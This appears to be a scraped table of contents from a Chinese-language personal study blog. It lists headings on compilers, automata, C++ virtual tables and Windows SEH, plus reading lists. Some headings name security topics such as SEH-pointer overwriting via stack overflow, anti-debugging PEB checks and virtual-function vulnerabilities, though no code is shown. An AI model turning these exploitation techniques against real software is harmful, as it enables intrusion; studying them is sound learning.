\[ \Pi_{customer\_name,branch\_name}(\sigma_{branch\_city=Brooklyn}(account\Join branch))\div \Pi_{branch\_name}(\sigma_{branch\_city=Brooklyn}(branch)) \]

词法分析器

词法分析先修-表达式求值

迪杰斯特拉双栈法

双栈算法

完整代码

递归下降算法

项目结构

ds

二叉树

Tree.h

Tree.cpp

有向图

Graph.h

Graph.cpp

e2t

e2t.h

e2t.cpp

t2n

t2n.h

t2n.cpp

验证

n2d

DFA.h

DFA.cpp

DFA最小化

SEH

SEH链

访问进程SEH链

安装SEH节点

调试观察SEH工作流程

main之前建立的seh链

注册新的seh节点

引发异常

执行异常处理函数

Record@0x19F420

Frame@0x19FF28

Context@0x19F470

myHandler@0x40105A

把context放到esi上

将PEB放到eax上

检测是否beingdebugged

jnz 0x00401076

修改context.Eip

返回

删除seh节点

返回到___tmainCRTStartup

栈溢出修改seh函数指针

ToDoList

ToDoList on 9.23

windows 二进制

ida

计网

计组

what's next

ToDoList on 9.9

以往的错误

win32程序设计

x86汇编语言从实模式到保护模式

数据库,计网

manim

逆向工程核心原理

程序员的自我修养

CSAPP

计网自顶向下

What's Next?

C++晚联编如何实现

虚函数对 对象的内存结构的影响

多态与晚联编

A* handle = new B;

A::A()

回到子类构造函数

handle->func1();

handle->func2(5, 6);

handle->func3();

为什么要有虚表呢?

->调用和.调用

虚函数漏洞

虚表指针与虚函数指针

存在漏洞的代码

调试观察

`Record@0x19F420`

`Frame@0x19FF28`

`Context@0x19F470`

返回到`___tmainCRTStartup`

虚函数对对象的内存结构的影响

`->`调用和`.`调用